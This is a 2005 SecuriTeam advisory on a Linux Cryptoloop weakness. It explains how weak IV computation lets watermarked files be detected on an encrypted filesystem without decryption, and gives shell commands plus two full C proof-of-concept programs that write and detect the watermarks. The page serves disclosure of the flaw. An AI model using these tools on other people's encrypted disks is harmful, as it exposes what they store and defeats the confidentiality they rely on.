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Home  Ask the Team  Mailing Lists  Advertising Info  Advisories  About SecuriTeam  Blogs Brought to you by: Suppliers of: Website Testing Tools Network Testing Tools Software Testing Tools SecuriTeam in Your Inbox New vulnerability? New tool? Tell us (Our PGP key). Confidence 2013 5% Off any SANS course Use Code: SecuriTeam_5 Hack In Paris La Nuit du Hack Subjects of Interest: Vulnerability Management SQL Injection Buffer Overflows Active Network Scanning Fuzzing Fuzzer Report Network Security Network Scanner Pen Testing Security Scanner	Linux Cryptoloop Watermark Exploit 26 May. 2005    Summary Cryptoloop "makes it possible to create encrypted file systems within a partition or another file in the file system. These encrypted files can the be moved to a CD, DVD, USB memory stick, etc. Cryptoloop makes use of the loop device. This device is a pseudo-device which serves as a 'loop' through which each call to a the file system has to pass. This way, data can be processed in order to encrypt and decrypt it". Cryptoloop is vulnerable to watermarking, making it possible to determine presence of watermarked data on the encrypted filesystem.   Credit: The original article can be found at: http://marc.theaimsgroup.com/?l=linux-kernel&m=107719798631935&w=2 The information has been provided by Markku-Juhani O. Saarinen. Free Website Security Scan Free Fuzzer Report Vulnerability Assessment Detect web app vulnerabilities University study comparing the top Accurate and automated scanning Get guidance from professionals. 6 commercially availble fuzzers. for networks of any size.    Details Protect your website! Free Trial, Nothing to install. No interruption of visitors. www.beyondsecurity.com/vulnerability-scanner This attack exploits weakness in IV computation and knowledge of how file systems place files on disk. This attack works with file systems that have soft block size of 1024 or greater. At least ext2, ext3, reiserfs and minix have such property. This attack makes it possible to detect presence of specially crafted watermarked files, such as, unreleased Hollywood movies, cruise missile service manuals, and other content that you did not create yourself. Watermarked files contain special bit patterns that can be detected without decryption. For example, to encode author's first name Jari as watermark, we should use ASCII characters 74 97 114 105. This example uses encodings 10...13.     # mount -t ext2 /dev/fd0 /mnt -o loop=/dev/loop0,encryption=AES128     Password:     # ./create-watermark-encodings 10:74 11:97 12:114 13:105 >/mnt/watermarks     # umount /mnt And then to detect these watermarks:     # dd if=/dev/fd0 bs=64k | ./detect-watermark-encodings     22+1 records in     22+1 records out     1474560 bytes scanned     watermark encoding 10, count 74     watermark encoding 11, count 97     watermark encoding 12, count 114     watermark encoding 13, count 105 Create watermarks: /*  * create-watermark-encodings.c  *  * Written by Jari Ruusu, February 10 2004  *  * Copyright 2004 by Jari Ruusu.  * Redistribution of this file is permitted under the GNU GPL  *  * Usage:  * ./create-watermark-encodings encoding:count [encoding:count]... >filename  *  * Where encoding is a value in range 1...32 and count is number of  * encodings to write. Watermark encoded file contents are written to  * standard output. Each encoding takes up 1024 bytes of disk space.  *  * Example:  * ./create-watermark-encodings 5:123 19:17 23:2 >/home/foo/watermarks  *  * Credits: Markku-Juhani O. Saarinen discovered this exploit.  */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> unsigned char buf[1024]; char *progName; void encodeOne(int encoding) {     memset(buf, 0, sizeof(buf));     buf[512] = 1;     if(encoding < 1) encoding = 1;     if(encoding < 32) {         buf[512 + (encoding * 16)] = 1;     } } void writeOne(void) {     if(fwrite(buf, 1024, 1, stdout) != 1) {         perror("write failed");         exit(1);     } } int main(int argc, char **argv) {     int encoding, y = 0;     unsigned long count, x;     progName = *argv;     if(argc < 2) {         usage:         fprintf(stderr, "usage: %s encoding:count [encoding:count]... >filename\n", progName);         exit(1);     }     while(--argc > 0) {         if(sscanf(*++argv, "%d:%lu", &encoding, &count) != 2) {             goto usage;         }         for(x = 0; x < count; x++) {             encodeOne(encoding);             writeOne();             y++;         }     }     /* make file size multiple of 4K (to avoid fs tail packing) */     while(y & 3) {         memset(buf, 0, sizeof(buf));         writeOne();         y++;     }     if(fflush(stdout)) {         perror("write failed");         exit(1);     }     exit(0); } Detect watermarks: /*  * detect-watermark-encodings.c  *  * Written by Jari Ruusu, February 10 2004  *  * Copyright 2004 by Jari Ruusu.  * Redistribution of this file is permitted under the GNU GPL  *  * Usage:  * dd if=/dev/hda999 bs=64k | ./detect-watermark-encodings  *  * Program reads encrypted data from standard input and writes human  * readable summary of detected watermark encodings to standard output.  *  * Credits: Markku-Juhani O. Saarinen discovered this exploit.  */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> unsigned long found[32]; unsigned char buf[1024]; unsigned long long bytes = 0; int main(int argc, char **argv) {     int x, y;     memset(found, 0, sizeof(found));     do {         if(fread(buf, 1024, 1, stdin) != 1) break;         bytes += 1024;         y = 0;         do {             /* no encoding if ciphertexts do not match */             if(memcmp(&buf[y] , &buf[y + 512], 16)) break;             /* if ciphertext is same repeated byte, assume */             /* that block was newer written with ciphertext */             for(x = 1; x < 16; x++) {                 if(buf[y + x] != buf[y]) break;             }             if(x == 16) break;             /* found watermark encoding */             y += 16;         } while(y < 512);         if(y) {             found[(y >> 4) - 1] += 1;  }     } while(1);     printf("%llu bytes scanned\n", bytes);     y = 1;     for(x = 0; x < 32; x++) {         if(found[x]) {             printf("watermark encoding %d, count %lu\n", x + 1, found[x]);             y = 0;         }     }     if(y) {         printf("no watermark encodings found\n");     }     exit(0); }  Comments: blog comments powered by Disqus	All Sections Security News Unix focus Exploits Tools Windows focus Security Reviews  Related Articles SimplyPlay v.66 .pls File Buffer Overflow Exploit NProtect Anti-Virus Privilege Escalation Vulnerability Ripe HD FLV Player Plugin for WordPress Multiple Script Direct Request Path Disclosure Vulnerability CMS snews SQL Injection Vulnerability WeBid SQL Injection Exploit Invision Gallery SQL Injection Exploit ArrowChat External.php Lang Parameter Traversal Local File Inclusion Exploit WinWebMail Server Stored XSS Exploit TFTP Server for Windows ST WRQ Buffer Overflow Exploit QNX QCONN Remote Command Execution Exploit Distinct TFTP Writable Directory Traversal Execution Exploit Xion Audio Player 1.0.127 (.aiff) Denial of Service Exploit Wordpress Postie Plugin Stored XSS Exploit Vice City Multiplayer Server Remote Code Execution Exploit Sphpforum Multiple Exploits NetOp Remote Control Client Buffer Overflow Exploit MS12-005 Microsoft Office ClickOnce Unsafe Object Package Handling Exploit MaxForum Local File Inclusion Exploit Inferno vBShout SQL Injection Vulnerability WP Effective Lead Management Persistent XSS Exploit  Featured Articles Social Engine Multiple Exploits Novell Groupwise Address Book Remote Code Execution Exploit GWebmail XSS & LFI RCE Vulnerabilities Acpid Privilege Boundary Crossing Exploit McAfee Virtual Technician MVT.MVTControl.6300 ActiveX GetObject() Vulnerability 'SonicWall Global Management System XSS Vulnerability' 'Opera file:// Overflow' 'vxFtpSrv CWD Command Overflow' 'Kaminsky DNS Cache Poisoning Flaw Exploit for Domains' 'freeSSHD Post Authentication Buffer Overflow (Exploit)' 'Symantec Altiris Client Service Local Privilege Escalation (Exploit)' 'Apple Mac OS X SMB Vulnerabilities (mount_smbfs and smbutil)' 'SurgeMail Webmail Host Header DoS' 'PHP Win32std Extension safe_mode/disable_functions Protections Bypass' 'WinPcap NPF.SYS Privilege Elevation Vulnerability (PoC exploit)' 'MailEnable Buffer Overflow (LOGIN, Exploit)' 'Durian Web Application Server Buffer Overflow (Exploit)' 'KsIRC Buffer Overflow Exploit (PRIVMSG)' 'Allied Telesyn AT-TFTP Server Filename Buffer Overflow (Exploit)' 'Windows WorkStation NetpManageIPCConnect (MS06-070, Exploit)'
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